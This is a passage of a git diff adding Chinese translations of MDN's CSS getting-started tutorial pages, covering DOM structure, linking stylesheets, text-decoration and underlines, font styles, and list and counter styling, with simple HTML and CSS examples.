+  <strong>S</strong>heets
+</p>
+
+ +

实例

+ +

http://jsfiddle.net/djaniketster/6jbpS/

+ +

在这个 DOM中, P 结点是一个父结点,它的子结点包含了一些STRONG结点和文本结点。同时,STRONG结点各自也是父结点,它们也分别包含了一些文本结点作为子结点。

+ +
P
+├─STRONG
+│ └─"C"
+├─"ascading"
+├─STRONG
+│ └─"S"
+├─"tyle"
+├─STRONG
+│ └─"S"
+└─"heets"
+
+ +

理解 DOM 结构可以帮助你更好的去设计、调试、维护CSS,因为 DOM 结构就是你的CSS和文档内容融合而成的。

+ +

行动:分析DOM结构

+ +

使用 DOM Inspector

+ +

你需要使用特殊的软件来分析 DOM结构。在这里,假设你使用的是 Mozilla的 DOM Inspector (DOMi) 插件来分析一个 DOM结构。 下面的操作需要你提前安装插件才可以执行。

+ +
    +
  1. 使用 Mozilla 浏览器来打开示例文档。
  2. +
  3. 在浏览器菜单栏中,选择 工具 > 查看器,也可能是选择 工具> Web 开发者 > 查看器。 +
    +
    更多细节
    + +

    如果你的 Mozilla 浏览器没有安装 DOMi,你可以到 安装地址 来安装并重启浏览器,然后再回到这里继续学习。

    + +

    如果你不想安装 DOMi (或者你使用的是非Mozilla浏览器),那么你可以试试下个章节中介绍的 Web X-Ray Goggles。 你也可以直接跳过本章节,进行下一章的学习,这并不会影响你接下来的学习内容。

    +
    +
  4. +
  5. 你可以在 DOMi中通过点击文档结点前面的箭头来将他们展开。 +

    注意:  HTML 文件中的空格在 DOMi 中会显示为一些空的文本结点,你可以直接忽略掉它。

    + +

    通过展开元素结点,你可能会看到下面这样的一部分内容:

    + +
    │ ▼╴P
    +│ │ │ ▼╴STRONG
    +│ │ └#text
    +│ ├╴#text
    +│ ►╴STRONG
    +│ │
    + +

    选择任何元素都可以在 DOMi 右边的面板中找到关于这个元素更详细的信息。例如,当你选择一个文本结点的时候,右边面板中会显示这个结点的文本信息。

    + +

    如果你选择的结点是一个元素,那么 DOMi 会分析这个元素,并在右边面板中展示关于它的一大堆信息内容。同时,样式信息只是这些内容的一部分罢了。 

    +
  6. +
+ +
+
挑战
+ +

在 DOMi 中,点击一个 STRONG 结点。

+ +

在 DOMi的右边面板中找出,设置此结点颜色为红色的地方和设置结点内容加粗的地方。 

+ +
+
Possible solution
+ +

In the menu above the right-hand pane, choose CSS Rules. You see two items listed, one that references an internal resource and one that references your stylesheet file. The internal resource defines the font-weight property as bolder; your stylesheet defines the color property as red.

+Hide solution
+查看挑战的解决方案
+ +

使用 Web X-Ray Goggles

+ +

Web X-Ray Goggles 显示的信息内容相比较 DOM Inspector要少, 但是它安装和使用的步骤更简单。

+ +

到 Web X-Ray Goggles的主页。

+ +
    +
  1. 将页面中的书签链接拖拽到浏览器工具栏。
  2. +
  3. 打开你的示例 HTML 文档。
  4. +
  5. 通过点击工具栏中的相应书签来激活Web X-Ray Goggles。 
  6. +
  7. 通过在文档中移动鼠标箭头来查看相应的文档元素。
  8. +
+ +

What next?

+ +

{{ nextPage("/zh-CN/docs/CSS/开始/Cascading_and_inheritance", "层叠和继承") }}如果你做过上文中的练习,你会发现不同位置的style样式是相互影响共同生成了元素的最终展现。在 下一章 中将会深入解释这种相互联系和相互影响。

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html new file mode 100644 index 0000000000..ca5092f2af --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html @@ -0,0 +1,105 @@ +--- +title: 为何使用CSS? +slug: Web/Guide/CSS/Getting_started/Why_use_CSS +tags: + - CSS + - 'CSS:入门' + - NeedsLiveSample +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS +--- +

{{ CSSTutorialTOC() }}

+ +

{{ previousPage("/zh-CN/docs/CSS/开始/What_is_CSS", "什么是CSS?") }}这是CSS入门教程 的第二章节,解释了CSS与文档的关系。在下面的练习中,你将学习如何给你在第一章节中创建的示例文档添加CSS样式表。

+ +

信息: 为何使用CSS?

+ +

CSS帮助您将文档信息的内容 和如何展现它的细节相分离。众所周知,如何展现文档的细节即为样式(style)。您可以将样式从它的内容分离出来,以便您能够:

+ + + +
+
例如
+ +

您的网站可能有成千上万的页面外观相似。使用CSS,您可以将样式信息存储在公共的文件中以供所有的页面共用。

+ +

当用户显示页面时,用户的浏览器将样式信息和页面内容一同加载。

+ +

当用户打印页面时,您可以提供不同的样式信息,以便于打印出来的页面更易于阅读。

+
+ +

总之,在HTML中,您使用标记语言来描述文档的内容而不是它的样式。您可以使用CSS来指定它的样式而不是它的内容。 (在本教程后续内容中,您会看到此种的例外情况。)

+ +
+
更多的细节
+ +

像HTML之类的标记语言也会提供指定样式的方法。

+ +

例如,在HTML中,您可以使用<b>标签来加粗文字,同时,您也可以在页面的<body>标记中指定背景颜色。

+ +

当您使用CSS时,您通常要避免使用标记语言的这些特性,以便您所有的文档样式信息保存在同一地方。

+
+ +

行动:创建样式表

+ +
    +
  1. 在与前面相同的目录中,新建另一个文本文件。该文件将成为您的样式表。请将它命名为:style1.css
  2. +
  3. 在您的CSS文件中,复制、粘贴下面的行,并保存该文件: +
    strong {color: red;}
    +
    +
  4. +
+ +

连接您的文档和样式表

+ +
    +
  1. 为将您的文档和样式表相连,请编辑您的HTML文件。并添加下面高亮的行: +
    <!DOCTYPE html>
    +<html>
    +  <head>
    +  <meta charset="UTF-8">
    +  <title>Sample document</title>
    +  <link rel="stylesheet" href="style1.css">
    +  </head>
    +  <body>
    +    <p>
    +      <strong>C</strong>ascading
    +      <strong>S</strong>tyle
    +      <strong>S</strong>heets
    +    </p>
    +  </body>
    +</html>
    +
    +
  2. +
  3. 保存该文件并刷新您的浏览器。该样式表将首字母显示为红色,如下所示: + + + + + + +
    Cascading Style Sheets
    +
  4. +
+ +
+
挑战
+ +

除了红色外,CSS允许使用其它的颜色名称。

+ +

不查询参考手册,请在您使用的样式表找出五个以上的颜色名称。

+ +
+
Possible solution
+ +

CSS supports common color names like orange, yellow, blue, green, or black. It also supports some more exotic color names like chartreuse, fuschia, or burlywood. See CSS Color value for a complete list as well as other ways of specifying colors.

+Hide solution
+请参考解答。
+ +

下一节?

+ +

{{nextPage("/zh-CN/docs/CSS/开始/How_CSS_works", "CSS如何工作。")}}现在您将示例文档与独立的样式表连在了一起,您已准备好学习更多的关于您的浏览器在显示文档时如何将它们组合在一起。

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html new file mode 100644 index 0000000000..7fcb01c0b0 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html @@ -0,0 +1,115 @@ +--- +title: What is CSS +slug: Web/Guide/CSS/Getting_started/What_is_CSS +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS +--- +
{{CSSTutorialTOC}}
+ +

{{previousPage("/zh-CN/docs/CSS/开始", "开始")}} 作为 CSS 入门指南 教程的第一部分,本文解释了什么是 CSS。你需要创建一个文档以便用于接下来的学习。

+ +

资料: 什么是 CSS

+ +

Cascading Style Sheets (CSS) 是一门指定文档该如何呈现给用户的语言。

+ +

文档 是信息的集合,它使用一门 标记语言 作为结构。

+ +

将一篇文档 呈现 给用户是指将文档转换成你的听众能够使用的一种形式。火狐、Chrome或IE等浏览器,用于将文档以可视的形式进行呈现,如在计算机屏幕、投影仪或打印机上。

+ +
+
示例
+ + +
+ +

在该教程中,如果使用像下方这样标题为 更多细节 的框,里面会包含额外信息。如果你迫切的想完成整个教程,那么可以跳过这些方框,等到以后有时间再回来看。当然也可以在碰到方框的时候去阅读这些内容,或者更进一步的,按照里面提供的链接去了解更多细节。

+ +
+
更多细节
+ +

一个文档并不等同于一个文件。它甚至可能不会保存在一个文件中。

+ +

举例来说,你现在阅读的这个文档就不是保存在一个文件中。当你的浏览器请求该页面时,服务器会查询数据库生成文档,将散落在众多文件中的文档的碎片搜集起来。然而在本教程中,你使用的都是保存在文件中的文档。

+ +

关于文档与标记语言的更多信息,可以查看本网站的其他部分—例如:

+ + + + + + + + + + + + + + + + + + + + +
HTML用于 web 页面
XML用于结构化文档
SVG用于图形
XUL用于 Mozilla 中的用户界面
+ +

在教程的第二部分,你会看到使用这些标记语言的例子。

+
+ +

 为用户展现 文档意味着将其转换成一个可读性良好的格式。像 Firefox, Chrome 或是 Internet Explorer 这样的浏览器倾向于使用更视觉化的方式来展现文档 — 例如,在计算机屏幕,投影仪或是打印机上。

+ +
+
更多细节
+ +

CSS 并非仅仅用于浏览器,也不仅限于视觉展现。按照 CSS 的正式术语来讲,将文档呈现给用户的程序称为用户代理(UA)。浏览器只是用户代理的其中之一。不过在教程的第一部分中,你将只在浏览器中使用 CSS。

+ +

要了解更多 CSS 术语定义的相关内容,请查看 CSS 规范的 定义

+
+ +

动手:创建一个文档

+ +
    +
  1. 在你的电脑中创建一个新的文件夹,用于保存和管理本指南中的练习。
  2. +
  3. 打开你的文本编辑器并创建一个新文件。该文件将用于保存后续练习中的文档。
  4. +
  5. 将下面的内容复制粘贴进文本文件中。保存文件,将其命名为 doc1.html +
    <!DOCTYPE html>
    +<html>
    +  <head>
    +  <meta charset="UTF-8">
    +  <title>Sample document</title>
    +  </head>
    +
    +  <body>
    +    <p>
    +      <strong>C</strong>ascading
    +      <strong>S</strong>tyle
    +      <strong>S</strong>heets
    +    </p>
    +  </body>
    +</html>
    +
    +
  6. +
  7. 在你的浏览器中开启一个新的标签页或窗口,打开文件。 +

    你会看到一串开头字母大写的文本,像这样:

    + + + + + + + +
    Cascading Style Sheets
    + +

    由于你的浏览器与该 wiki 的设置可能不同,所以你看到的内容与上面显示的不一定相符合。如果在字体、间距或颜色有区别,请不要担心,因为这些内容暂时无关紧要。

    +
  8. +
+ +

接下来是什么?

+ +

{{nextPage("/zh-CN/docs/CSS/开始/为何使用CSS", "为什么使用 CSS?")}}现在你的文档中还没有使用 CSS。在下一节中,你将会使用 CSS 来指定样式。

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/index.html b/files/zh-cn/conflicting/learn/css/first_steps/index.html new file mode 100644 index 0000000000..585243aa2a --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/first_steps/index.html @@ -0,0 +1,59 @@ +--- +title: CSS入门教程 +slug: Web/Guide/CSS/Getting_started +tags: + - CSS + - 'CSS:Getting_Started' + - CSS入门 + - CSS教程 + - Web + - 初学者 + - 教程 +translation_of: Learn/CSS/First_steps +translation_of_original: Web/Guide/CSS/Getting_started +--- +

 

+ +

该  CSS 指南  将会带你进入  层叠样式表  (CSS)的世界。本指南将通过实例来引导你学习语言的基本功能(你可以在自己的电脑上运行这些实例),指南还将阐明能够运行在现代浏览器上的 CSS 标准功能。

+ +

本指南适合 CSS 的初学者,但如果你已经学会了 CSS 的基本知识,该指南对你也会有所帮助。若你对 CSS 的经验十分丰富,那么本指南就不适合你了,CSS 主页  列出了  更多的高级资源。

+ + + +

在开始学习之前你需要准备什么?

+ + + +

虽然没有这个要求,但是教程中的练习可以帮助你学习。你也可以只阅读教程、图片,但这是一种效率很低的学习方式。

+ +

注意: 教程包括了CSS操作颜色的方法。因此指南的某些部分会依赖颜色。要想更容易的学习这些内容,你需要一个彩色显示器与正常色觉

+ +

如何使用本指南

+ +

在使用本指南时,需要按顺序仔细阅读每页的内容。如果跳过某个页面,可能会难以理解后续内容。

+ +

第一部分:CSS基础

+ +

在每页中,通过资料 部分来了解 CSS 的工作原理。通过实践 部分来试着在你的计算机上使用 CSS。

+ +

为了测试你对指南的理解程度,可以完成页面底部的挑战内容。挑战内容下面提供了答案的链接,这样你不想看答案的时候没有必要去看它们。

+ +

为了深入了解 CSS,可以阅读以更多资料 为标题的方框中内容。你会从其中的超链接里找到更多 CSS 参考资料。

+ +

第二部分:CSS的应用范围

+ +

指南的第二部分提供了多个实例,用于展示 CSS 与 web 和 Mozilla 的其他技术的使用范围。

+ +
    +
  1. JavaScript
  2. +
  3. SVG 图形
  4. +
  5. XML 数据
  6. +
  7. XBL bindings
  8. +
  9. XUL 用户界面
  10. +
+ +

 

diff --git a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html new file mode 100644 index 0000000000..fd67fc382c --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html @@ -0,0 +1,156 @@ +--- +title: 理解下划线 +slug: Understanding_Underlines +tags: + - 'CSS:Articles' +translation_of: >- + Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration +translation_of_original: Understanding_Underlines +--- +

对于 Web 设计者来说, 想移除其设计中某些 (或全部) 超链接的下划线是相当常见的事情。但是由于在过去浏览器中的一些不标准的行为, 一些人在删除超链接中下划线的正确方法方面存在一些问题。最常见的错误是这样做:

+ +
<a href="link.html">
+<span style="text-decoration: none;">一个链接</span>
+</a>
+ +

与大部分人的想法相反,这样去除下划线是不应该的。本文将会探讨去除下滑的正确方法及其原因。正确的处理下划线有很大的好处,譬如简洁的标签及高可读性的源代码。

+ +

文字是如何被加上修饰线(decoration)的

+ +

了解如何正确删除下划线之前,我们先了解一下修饰线(decoration 下同)是如何被应用的。首先,让我们先思考一个 span 在一个 p 中会是什么样子。

+ +
<p><span style="text-decoration: underline;">
+这里有一些文字
+</span></p>
+ +

很明显,就像下面所展示的:文字被加上了下划线。

+ + + +

这里有一些文字。

+ + + +

现在,让我们添加再添加一个 span 嵌套在之前的 span 里面。然后再给后加的 span 一个不一样的线样式:

+ +
<p><span style="text-decoration: underline;">
+这里有一些
+<span style="text-decoration: overline;">额外的</span>
+文字。
+</span></p>
+ + + +

这里有一些额外的文字。

+ + + +

我们发现此例的 “额外的” 一词出现了既有上划线也有下划线的情况。但是这为什么呢?我们仅给最里面 span 标签设置了上划线。text-decoration 的值并不会被继承。那么为什么 “额外的” 下面会有下划线呢?

+ +

现在让我们把最里面 span 的文字颜色(color 下同)改一下,比如红色,我们就能知道怎么回事了。

+ + + +

这里有一些额外的文字。

+ + + +

上划线和文字一起变成了红色,但是下划线并没有。这是因为下划线实际上是外面 span 的一部分,它只是在最里面 span 的下方经过而已。如果我们给外面的 span 加个背景,我们一般是希望背景也能穿过里面 span 显示出来。同样的,父级的文字修饰线就会显示在子级元素上,即使你并没有给子级元素设置或继承修饰线。

+ +

现在,让我们明确地移除里面 span 的修饰线样式。

+ +
<p><span style="text-decoration: underline;">
+这里有一些
+<span style="text-decoration: none; color: red;">额外的</span>
+文字。
+</span></p>
+ +

这样意味着不应有任何修饰线样式在里面的 span 上,但是这样并不会阻止外面的 span 显示下划线。这就和 “把里面 span 的背景设为透明并不会让我们看不到外面 span (或者 body 之类的) 的背景” 一样。我们可以在下面看见,下划线仍旧是外面 span 的颜色。

+ + + +

这里有一些额外的文字。

+ + + +

那么让我们考虑一下这种情况:你在一个超链接 a 里添加了一个 span ,如果你想移除链接的下划线。但是因为上面所说的原因,你是没办法这样达成目的:

+ +
<a href="http://developer.netscape.com/">这个链接
+<span style="text-decoration: none; font-weight: bold;">
+有个span
+</span>在里面</a>
+ + + + + + + +

因此,我们不能使用这种方式移除下划线,我们需要其他的方法。而这其他的方法比你想象的要简单许多。

+ +

如何真正地将下划线移除

+ +

答案很简单:如果你不希望超链接拥有下划线,那么请直接关闭该标签本身的下划线。通过覆写在链接中的span的样式来修改下划线是不会在正常的浏览器中起效的,这是一种多余的无用行为。

+ +

比方说,如果你想移除页面中所有超链接的下划线,那么最简单的办法是:

+ +
a:link, a:visited {text-decoration: none;}
+ +

另一个常见情况是仅从一组选定的链接中删除其中的下划线。比方说,在页面顶部的导航链接通常不会设有下划线。在这种情况下,你最好的选择是使用 class 或者 id 属性对目标元素进行分类,然后编写对应的样式。比方说,假设在下面的表格中有你希望修改的链接标签,那么给table本身追加一个id属性就是你首先需要做的。

+ +
<table id="navbar">
+<tr>
+<td><a href="link1.html">Home</a></td>
+<td><a href="link2.html">Electronics</a></td>
+<td><a href="link3.html">Accessories</a></td>
+<td><a href="link4.html">Software</a></td>
+<td><a href="link5.html">Checkout</a></td>
+</tr>
+</table>
+ +

有了 id 之后, 我们现在就可以为其编写一条CSS规则:

+ +

table#navbar a {text-decoration: none;}

+ +

这种方法最大的额外好处就是你可以基于此规则为这些链接扩展其他样式,比如:

+ +
table#navbar a {text-decoration: none; color: yellow;
+font: 10px sans-serif; letter-spacing: 1px; padding: 0 1em;}
+ +

当然,你也可以直接将你希望修改样式的链接赋上特定的 class ,在有些情况下这是十分有必要的。而且,在绝大多数情况下 ,使用与本页面类似的方法将有效地帮助到其他作者。Of course, you could put classes directly on the links you wish to style, and in some cases that's necessary. However, in the majority of cases, authors will be well served by an approach similar to the one shown here.

+ +

其他修饰线

+ +

本文重点介绍下划线,因为下划线是迄今为止在网络上使用的最常见的文本修饰。不过,此处讨论的原理适用于任何形式的装饰。如果文本设置了删除线样式,则该样式将穿透元素的文本以及任何子元素的文本,无论text-decoration的值是多少。举个例子:This article has focused on underlines because they are by far the most common text decoration in use on the Web. However, the principles discussed here apply to any form of decoration. If text is styled with a strike-through line, then that will run through the element's text and the text of any descendant elements, no matter what value they are given for text-decoration. As an example:

+ +
<p style="text-decoration: line-through;">
+This text has been
+<span style="text-decoration: none; color: red;">stricken</span>
+with a line.
+</p>
+ +

The text in this paragraph will all be stricken, although the word "stricken" will be red. This is shown in Figure 6.

+ + + +

结论

+ +

Although some browsers will let you get away with it, the use of span to "switch off" text decorations is not correct CSS and will not work in CSS-conformant browsers. Thus, many Web sites authored to proprietary behavior will not display as the designer intended in more recent browsers. Fortunately, there are several benefits to abandoning this legacy code practice in favor of directly styling hyperlinks.

+ +

建议

+ + + +
+

文章原始信息

+ + +
diff --git a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html new file mode 100644 index 0000000000..f7d1d38b23 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html @@ -0,0 +1,158 @@ +--- +title: 文本样式 +slug: Web/Guide/CSS/Getting_started/Text_styles +translation_of: Learn/CSS/Styling_text/Fundamentals +translation_of_original: Web/Guide/CSS/Getting_started/Text_styles +--- +

{{ CSSTutorialTOC() }}

+ +

{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "创建可读性良好的CSS")}} 这是CSS入门教程系列教程的第7部分;本节讲述了更多的有关文本的样式。你可以通过更改示例样式来使用不同的字体。

+ +

资料:文本样式

+ +

CSS提供了几个属性用来操作字体。

+ +

我们先来看一个简写属性 {{ cssxref("font") }},使用这个属性可以很方便的指定其他的字体属性。比如:

+ + + +
+
示例
+ +
p {font: italic 75%/125% "Comic Sans MS", cursive;}
+
+ +

这条规则定义了字体的几个属性,使整个段落文本都变成斜体。

+ +

字体大小设置为每个段落父元素字体大小的3/4,行高设置为125%(比常规的间隔稍大一些)。

+ +

文本字体设置为 Comic Sans MS,假如该字体不被浏览器支持则使用默认字体:cursive。

+ +

这条规则还把bold和small-caps这些效果给去掉了(设置它们的值为normal)。

+
+ +

 

+ +

字体

+ +

你无法预料到用户是否可以访问样式表里定义的字体。所以在设置字体时,在属性后指定一个替代的字体列表是个不错的主意。

+ +

在这个字体列表的最后加上系统字体中的一个,如:serif,sans-serif,cursive,fantasy或monospace。

+ +

如果字体不支持样式表里设置的字体特征,浏览器会使用另一种字体。比如,样式表中包含字体不支持的特殊字符,如果浏览器发现另一种字体支持这些特殊字符,那浏览器就会选择使用这种字体。

+ +

使用 {{ cssxref("font-family") }} 属性指定文本的字体。

+ +

简体中文的字体示例:

+ +

Windows:font-family:微软雅黑;

+ +

Mac OS:font-family:"Songti SC";

+ +

字号

+ +

浏览器用户浏览页面时,可以覆盖页面默认的文号大小,也可以改变页面的字号大小。所以说尽可能的使用相对的字号大小对你来说是有意义的。

+ +

你可使用系统内置的值来设置字号,比如small,medium和large。你也可以使用相对父元素字号大小的值来设置,比如:smaller,larger,150%或1.5em。1“em”等于1个字母“m”的宽度(相对于父元素字号大小);因此1.5em就是1.5倍的父元素字号大小。

+ +

如果有必要你也可以指定一个实际的大小,比如14px(14像素)应用于显示设备或14pt(14点)应用于打印设备。但是实际大小不能应用于视力受损用户的设备上,因为这些设备不支持指定实际的值。一个比较容易实现的策略是给顶级的文档元素指定一个系统内置的值如medium,然后再给它的子元素设置个相对值。

+ +

使用{{ cssxref("font-size") }} 属性指定字体的大小。

+ +

行高

+ +

行高用来指定行与行之间的距离。如果你的文档中有一个很长的段落由很多行组成,而且这个段落的字号还比较小,这时给它指定一个稍大的间距,这样阅读起来会更方便。

+ +

使用 {{ cssxref("line-height") }} 属性指定文本的行间距。

+ +

装饰

+ +

单独的 {{ cssxref("text-decoration") }}就可以为文本指定其他风格,比如underline或line-through。你也可以把值设置成none,把这些风格取消掉。

+ +

其他属性

+ +

使用{{ cssxref("font-style") }}: italic;指定文本为斜体;

+ +

使用 {{ cssxref("font-weight") }}: bold;指定文本加粗;

+ +

使用 {{ cssxref("font-variant") }}: small-caps;指定文本为小型大写字母;

+ +

如果我们想单独设置某个效果失效,我们可以把其相应的属性设置为normal或inherit.

+ +
+
详细资料
+ +

我们也可以采用其他方式指定文本样式。

+ +

比如,这里提到的几个属性的其他值。

+ +

在一个复杂的样式表中,应该避免使用font属性,因为它的副作用(重置其他个体属性)。

+ +

字体相关的全部细节,可以在CSS规范里查看Fonts 。文本修饰相关可以查看 Text 。

+ +

如果我们不想使用系统上的默认字体库,我们可以使用{ { cssxref(@font-face)} }指定一个在线字体。然而,这要求用户的浏览器支持该字体。

+
+ +

实践:指定字体

+ +

对于一个简单的页面,我们可以设置 {{ HTMLElement("body") }}元素的字体,然后页面中的其他元素继承这个设置。

+ +
    +
  1. 编辑我们的样式表。
  2. +
  3. 添加以下规则到你的样式表中。推荐这个规则放在css文件的开头: +
    body {font: 16px "Comic Sans MS", cursive;}
    +
    +
  4. +
  5. 添加一个该规则的注释,可以添加空格匹配你的整体样式布局。
  6. +
  7. 保存文件并刷新浏览器查看效果。如果你的系统有Comic Sans MS或cursive字体,这两种字体都不支持斜体。你的浏览器会自动选择另一种字体实现斜体,效果如第一行。 + + + + + + + + + +
    Cascading Style Sheets
    Cascading Style Sheets
    +
  8. +
  9. 从浏览器的菜单栏中选择 视图 > 字体大小 > 放大(或视图 > 缩放 > 放大)。即使你在样式里指定了字体为16px。用户浏览网页时,还是可以改变字体字号的大小。
  10. +
+ +
+
挑战
+ +

不改变什么,让6个初始字母的字号大小调整为2倍于浏览默认的衬线字体:

+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ +
+
Possible solution
+ +

Add the following style declaration to the strong rule:

+ +
  font: 200% serif;
+
+If you use separate declarations for font-size and font-family, then the font-style setting on the first paragraph is not overridden. + +

 

+Hide solution
+查看答案.
+ +

下一节?

+ +

{{nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Color", "颜色")}}示例文档已经使用几个颜色命名。下一节列表中将列出标准的颜色名称,并且介绍其他的定义颜色的方式。

diff --git a/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html b/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html new file mode 100644 index 0000000000..8a85655517 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html @@ -0,0 +1,324 @@ +--- +title: Lists +slug: Web/Guide/CSS/Getting_started/Lists +translation_of: Learn/CSS/Styling_text/Styling_lists +translation_of_original: Web/Guide/CSS/Getting_started/Lists +--- +

{{ CSSTutorialTOC() }}

+ +

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Content", "内容") }} 这是CSS入门教程 教程的第10部分; 它将向你描述你如何用CSS来指定列表的外观. 你将创建一个新的包含列表的示例文件,和一个新的定义列表的样式表。

+ +

信息: 列表

+ +

如果你完成了上一节的挑战任务,你就知道如何在列表项前面插入内容。

+ +

CSS为列表提供了专门的属性。如果可以,使用这些属性通常会比较方便。

+ +

使用{{ cssxref("list-style") }} 属性来指定列表项标记的样式。

+ +

你的CSS中的选择器可以选中列表项 (比如, {{ HTMLElement("li") }})。也可以选中列表项的父节点 (比如, {{ HTMLElement ("ul") }})。此时列表项会继承父节点的样式。

+ +

无序列表

+ +

无序列表的每个列表项都用同样的方式标记。

+ +

CSS 有三种标记样式:

+ + + +

你可以指定一个图片的URL来自定义标记样式。

+ +
+
+ +

下面的规则为不同类的列表项指定了不同的标记:

+ +
li.open {list-style: circle;}
+li.closed {list-style: disc;}
+
+ +

这些类被用于列表项时,用以区分打开和关闭的列表项 (比如,在一个待办事项列表中):

+ +
<ul>
+  <li class="open">Lorem ipsum</li>
+  <li class="closed">Dolor sit</li>
+  <li class="closed">Amet consectetuer</li>
+  <li class="open">Magna aliquam</li>
+  <li class="closed">Autem veleum</li>
+</ul>
+
+ +

结果:

+ + + + + + + +
+
    +
  • Lorem ipsum
  • +
  • Dolor sit
  • +
  • Amet consectetuer
  • +
  • Magna aliquam
  • +
  • Autem veleum
  • +
+
+
+ +

有序列表

+ +

在有序列表中,每个列表项都被标记了不同的序号。

+ +

用{{ cssxref("list-style") }} 属性指定标记样式:

+ + + +
+
+ +

这条规则指定类名包含info的{{ HTMLElement("ol") }} 元素的列表项用大写字母标序

+ +
ol.info {list-style: upper-latin;}
+
+ +

{{ HTMLElement("li") }} 元素继承了ol的样式:

+ + + + + + + +
+
    +
  • Lorem ipsum
  • +
  • Dolor sit
  • +
  • Amet consectetuer
  • +
  • Magna aliquam
  • +
  • Autem veleum
  • +
+
+
+ +
+
更多细节
+ +

{{ cssxref("list-style") }} 属性是一个快捷写法。在复杂的样式表中你可能更希望用单独的属性设置不同的属性值。欲查看这些单独的属性和更详细的CSS指定列表的方法,见 {{ cssxref("list-style") }}参考页。

+ +

如果你使用如HTML这类提供了方便的无序列表 ({{ HTMLElement("ul") }}) 和有序列表({{ HTMLElement("ol") }})的标记语言,就尽量使用这些标签。当然,你完全可以将 {{ HTMLElement("ul") }} 显示成有序列表,将 {{ HTMLElement("ol") }} 显示成无序列表。

+ +

浏览器实现列表样式略有不同。不要奢望样式表可以让列表在所有浏览器中显示的完全一样。

+
+ +

计数器

+ +
+

注意:  一些浏览器不支持计数器。Quirks Mode site 的CSS contents and browser compatibility 页有更多这方面的兼容表格可以参考。 CSS Reference 也有浏览器兼容性表格。

+
+ +

你可以用计数器来计数任何元素,不仅是列表元素。比如,在某些文档中你可能想计数标题和段落。

+ +

要想计数,你必须定义一个计数器。

+ +

在计数开始前的某个元素上,设置 {{ cssxref("counter-reset") }}属性以重置计数器。被计数元素的父节点是一个不错的选择。当然,任何出现在被计数元素前面的元素都可以。

+ +

设置每个需要计数的元素的{{ cssxref("counter-increment") }} 属性为你的计数器名。

+ +

通过为选择器增加 {{ cssxref(":before") }} 或 {{ cssxref(":after") }} 并设置 content 属性来显示计数器。 (如上一节所示, 内容).

+ +

content属性的值中设置 counter(),在括号内填上计数器的名字。可选的是设置计数器类型。其类型和前面一节 有序列表 中相同。

+ +

正常情况下,显示计数器的元素也会递增计数器。

+ +
+
+ +

这条规则会为每个类名中包含numbered的{{ HTMLElement("h3") }} 元素初始化计数器 mynum:

+ +
h3.numbered {counter-reset: mynum;}
+
+ +

 

+ +

这条规则为每个类名包含numbered的{{ HTMLELement("p") }}元素显示并递增计数器:

+ +
p.numbered:before {
+  content: counter(mynum) ": ";
+  counter-increment: mynum;
+  font-weight: bold;}
+
+ +

结果:

+ + + + + + + +
Heading + +

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+
+ +
+
更多细节
+ +

除非所有看你文档的人的浏览器都支持计数器,否则你不能使用计数器。

+ +

如果你可以使用计数器,那么你可以单独设置计数器的样式。如上面例子所示:计数器是粗体,但列表不是。

+ +

你还可以用更复杂的方式使用计数器。比如,计数章节, 标题, 子标题以及段落。详见CSS规范中的 Automatic counters and numbering 。

+
+ +

实例: 设计列表样式

+ +

新建doc2.html:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8">
+    <title>Sample document 2</title>
+    <link rel="stylesheet" href="style2.css">
+  </head>
+  <body>
+
+    <h3 id="oceans">The oceans</h3>
+    <ul>
+      <li>Arctic</li>
+      <li>Atlantic</li>
+      <li>Pacific</li>
+      <li>Indian</li>
+      <li>Southern</li>
+    </ul>
+
+    <h3 class="numbered">Numbered paragraphs</h3>
+    <p class="numbered">Lorem ipsum</p>
+    <p class="numbered">Dolor sit</p>
+    <p class="numbered">Amet consectetuer</p>
+    <p class="numbered">Magna aliquam</p>
+    <p class="numbered">Autem veleum</p>
+
+  </body>
+</html>
+
+ +

新建style2.css

+ +
/* numbered paragraphs */
+h3.numbered {counter-reset: mynum;}
+
+p.numbered:before {
+  content: counter(mynum) ": ";
+  counter-increment: mynum;
+  font-weight: bold;
+}
+
+ +

如果布局和注释不符合你的口味,随便改。

+ +

在浏览器中打开。如果你的浏览器支持计数器,你将看到下面的样子。如果不支持,你将看不到数字序号。 (甚至冒号都看不到):

+ + + + + + + +
+

The oceans

+ +
    +
